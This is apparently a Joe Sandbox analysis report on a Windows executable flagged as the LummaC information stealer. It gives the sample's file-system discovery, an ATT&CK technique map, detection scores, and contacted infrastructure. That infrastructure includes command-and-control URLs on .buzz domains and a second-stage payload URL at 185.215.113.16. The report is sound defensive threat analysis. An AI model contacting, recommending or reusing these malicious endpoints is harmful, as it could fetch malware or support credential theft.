Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1547972050.000000000107F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1547841537.000000000107F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: COBYmpzi7q.exe PID: 6184, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: COBYmpzi7q.exe PID: 6184, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	2 OS Credential Dumping	851 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	44 Virtualization/Sandbox Evasion	LSASS Memory	44 Virtualization/Sandbox Evasion	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
COBYmpzi7q.exe	51%	Virustotal		Browse
COBYmpzi7q.exe	55%	ReversingLabs	Win32.Infostealer.Tinba
COBYmpzi7q.exe	100%	Avira	TR/Crypt.TPM.Gen
COBYmpzi7q.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
hummskitnj.buzz	0%	Avira URL Cloud	safe
https://mindhandru.buzz/pi	0%	Avira URL Cloud	safe
https://mindhandru.buzz/piV)	0%	Avira URL Cloud	safe
http://185.215.113.16/off/def.exeerw	0%	Avira URL Cloud	safe
http://185.215.113.16/y	0%	Avira URL Cloud	safe
https://mindhandru.buzz:443/api	100%	Avira URL Cloud	malware
mindhandru.buzz	0%	Avira URL Cloud	safe
https://mindhandru.buzz/api	100%	Avira URL Cloud	malware
scentniej.buzz	0%	Avira URL Cloud	safe
https://mindhandru.buzz/es	0%	Avira URL Cloud	safe
http://crl.microXJ	0%	Avira URL Cloud	safe
https://mindhandru.buzz/apiY	0%	Avira URL Cloud	safe
https://mindhandru.buzz/))	0%	Avira URL Cloud	safe
screwamusresz.buzz	0%	Avira URL Cloud	safe
rebuildeso.buzz	0%	Avira URL Cloud	safe
https://mindhandru.buzz/nO	0%	Avira URL Cloud	safe
https://mindhandru.buzz/	0%	Avira URL Cloud	safe
cashfuzysao.buzz	0%	Avira URL Cloud	safe
appliacnesot.buzz	0%	Avira URL Cloud	safe
https://mindhandru.buzz/j	0%	Avira URL Cloud	safe
https://mindhandru.buzz/l	0%	Avira URL Cloud	safe
inherineau.buzz	0%	Avira URL Cloud	safe
prisonyfork.buzz	0%	Avira URL Cloud	safe
https://mindhandru.buzz/et	0%	Avira URL Cloud	safe
https://mindhandru.buzz/Ers	0%	Avira URL Cloud	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.	0%	Avira URL Cloud	safe
http://185.215.113.16/B	0%	Avira URL Cloud	safe
https://mindhandru.buzz/bQ%	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.google.com	172.217.21.36	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
mindhandru.buzz	104.21.11.101	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
scentniej.buzz	true	Avira URL Cloud: safe	unknown
hummskitnj.buzz	true	Avira URL Cloud: safe	unknown
mindhandru.buzz	true	Avira URL Cloud: safe	unknown
https://mindhandru.buzz/api	true	Avira URL Cloud: malware	unknown
rebuildeso.buzz	true	Avira URL Cloud: safe	unknown
appliacnesot.buzz	true	Avira URL Cloud: safe	unknown
screwamusresz.buzz	true	Avira URL Cloud: safe	unknown
cashfuzysao.buzz	true	Avira URL Cloud: safe	unknown
inherineau.buzz	true	Avira URL Cloud: safe	unknown
prisonyfork.buzz	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_121.6.dr	false		high
https://duckduckgo.com/chrome_newtab	COBYmpzi7q.exe, 00000000.00000003.1467300505.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467446057.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467737502.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	COBYmpzi7q.exe, 00000000.00000003.1467300505.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467446057.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467737502.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/piV)	COBYmpzi7q.exe, 00000000.00000003.1466036066.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_121.6.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_128.6.dr, chromecache_106.6.dr	false		high
http://185.215.113.16/off/def.exeerw	COBYmpzi7q.exe, 00000000.00000003.1722504510.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	COBYmpzi7q.exe, 00000000.00000003.1467300505.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467446057.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467737502.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/T	COBYmpzi7q.exe, 00000000.00000003.1722504510.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_121.6.dr	false		high
https://mindhandru.buzz/pi	COBYmpzi7q.exe, 00000000.00000003.1722504510.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5	COBYmpzi7q.exe, 00000000.00000003.1518322554.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_128.6.dr, chromecache_106.6.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_128.6.dr, chromecache_106.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_106.6.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_128.6.dr, chromecache_106.6.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_121.6.dr	false		high
https://mindhandru.buzz:443/api	COBYmpzi7q.exe, 00000000.00000003.1722325352.0000000005AA3000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1547841537.0000000001053000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1600319751.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1722844376.000000000107F000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1639653287.0000000005AA5000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1548373453.0000000001053000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1600840055.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_128.6.dr, chromecache_106.6.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_121.6.dr	false		high
http://x1.c.lencr.org/0	COBYmpzi7q.exe, 00000000.00000003.1516908344.0000000005AB5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	COBYmpzi7q.exe, 00000000.00000003.1516908344.0000000005AB5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_128.6.dr, chromecache_106.6.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_121.6.dr, chromecache_129.6.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	COBYmpzi7q.exe, 00000000.00000003.1467300505.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467446057.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467737502.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/y	COBYmpzi7q.exe, 00000000.00000003.1722504510.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta	COBYmpzi7q.exe, 00000000.00000003.1518322554.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exeq	COBYmpzi7q.exe, 00000000.00000003.1722504510.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_128.6.dr, chromecache_106.6.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_128.6.dr, chromecache_106.6.dr	false		high
https://github.com/gewarren	chromecache_121.6.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	COBYmpzi7q.exe, 00000000.00000003.1518041420.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_128.6.dr, chromecache_106.6.dr	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_121.6.dr	false		high
https://mindhandru.buzz/es	COBYmpzi7q.exe, 00000000.00000003.1582191863.00000000010E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mindhandru.buzz/apiY	COBYmpzi7q.exe, 00000000.00000003.1466036066.000000000107F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_121.6.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_128.6.dr, chromecache_106.6.dr	false		high
http://crl.microXJ	COBYmpzi7q.exe, 00000000.00000003.1582459376.000000000107F000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1547972050.000000000107F000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1600975297.000000000107F000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1583039567.000000000108E000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1640486327.00000000010C2000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1466036066.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_128.6.dr, chromecache_106.6.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_128.6.dr, chromecache_106.6.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	COBYmpzi7q.exe, 00000000.00000003.1467300505.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467446057.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467737502.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_121.6.dr	false		high
https://mindhandru.buzz/))	COBYmpzi7q.exe, 00000000.00000003.1492638805.00000000010EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://polymer.github.io/PATENTS.txt	chromecache_128.6.dr, chromecache_106.6.dr	false		high
https://aka.ms/certhelp	chromecache_128.6.dr, chromecache_106.6.dr	false		high
https://mindhandru.buzz/nO	COBYmpzi7q.exe, 00000000.00000003.1722504510.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mindhandru.buzz/	COBYmpzi7q.exe, 00000000.00000003.1516058240.0000000005AA6000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1516277949.0000000005AA6000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1466036066.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	COBYmpzi7q.exe, 00000000.00000003.1467300505.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467446057.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467737502.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/j	COBYmpzi7q.exe, 00000000.00000003.1466036066.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	COBYmpzi7q.exe, 00000000.00000003.1516908344.0000000005AB5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_121.6.dr	false		high
https://mindhandru.buzz/l	COBYmpzi7q.exe, 00000000.00000003.1600711253.00000000010E7000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1641039751.00000000010E7000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1639598552.00000000010E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	COBYmpzi7q.exe, 00000000.00000003.1516908344.0000000005AB5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	chromecache_121.6.dr	false		high
https://schema.org	chromecache_106.6.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_128.6.dr, chromecache_106.6.dr	false		high
https://www.ecosia.org/newtab/	COBYmpzi7q.exe, 00000000.00000003.1467300505.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467446057.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467737502.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	COBYmpzi7q.exe, 00000000.00000003.1518041420.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.	COBYmpzi7q.exe, 00000000.00000003.1518322554.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/yourcaliforniaprivacychoices	chromecache_121.6.dr	false		high
https://mindhandru.buzz/et	COBYmpzi7q.exe, 00000000.00000003.1600711253.00000000010E7000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1641039751.00000000010E7000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1639598552.00000000010E7000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1582191863.00000000010E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	COBYmpzi7q.exe, 00000000.00000003.1467300505.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467446057.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467737502.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_121.6.dr	false		high
http://185.215.113.16/	COBYmpzi7q.exe, 00000000.00000003.1722504510.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_128.6.dr, chromecache_106.6.dr	false		high
http://185.215.113.16/B	COBYmpzi7q.exe, 00000000.00000003.1722504510.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/adegeo	chromecache_121.6.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	COBYmpzi7q.exe, 00000000.00000003.1518322554.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16:80/off/def.exe	COBYmpzi7q.exe, 00000000.00000003.1722844376.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/Ers	COBYmpzi7q.exe, 00000000.00000003.1639653287.0000000005AAE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/jonschlinkert/is-plain-object	chromecache_128.6.dr, chromecache_106.6.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	COBYmpzi7q.exe, 00000000.00000003.1516908344.0000000005AB5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_128.6.dr, chromecache_106.6.dr	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	COBYmpzi7q.exe, 00000000.00000003.1518322554.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	COBYmpzi7q.exe, 00000000.00000003.1518322554.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_128.6.dr, chromecache_106.6.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	COBYmpzi7q.exe, 00000000.00000003.1518322554.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	COBYmpzi7q.exe, 00000000.00000003.1722504510.00000000010ED000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1722504510.00000000010D3000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1722844376.000000000106A000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1722747630.0000000001068000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_121.6.dr	false		high
https://channel9.msdn.com/	chromecache_128.6.dr, chromecache_106.6.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	COBYmpzi7q.exe, 00000000.00000003.1467300505.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467446057.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467737502.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/bQ%	COBYmpzi7q.exe, 00000000.00000003.1543704527.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1543107449.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1543519913.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/try	chromecache_128.6.dr, chromecache_106.6.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
104.21.11.101	mindhandru.buzz	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.9

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580872
Start date and time:	2024-12-26 12:40:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	COBYmpzi7q.exe renamed because original name is a hash value
Original Sample Name:	1f2ec1de18a228831db842ed61139322.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/70@9/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 23.218.210.69, 64.233.161.84, 142.250.181.142, 184.30.22.94, 172.217.17.46, 192.229.221.95, 52.182.143.215, 142.250.181.74, 142.250.181.106, 172.217.17.74, 172.217.17.42, 172.217.19.202, 216.58.208.234, 172.217.19.234, 142.250.181.138, 2.19.198.56, 23.32.238.130, 13.74.129.1, 204.79.197.237, 13.107.21.237, 172.217.17.35, 13.107.246.63, 52.149.20.212, 23.218.208.109
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, www.bing.com, onedscolprdcus22.centralus.cloudapp.azure.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, c-bing-com.dual-a-0034.a-msedge.net, otelrules.azureedge.net, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, clients.l.google.com, c1.microsoft.com, wcpstatic.m
Execution Graph export aborted for target COBYmpzi7q.exe, PID 6184 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:41:19	API Interceptor	62x Sleep call for process: COBYmpzi7q.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=COBYmpzi7q.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=COBYmpzi7q.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=COBYmpzi7q.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
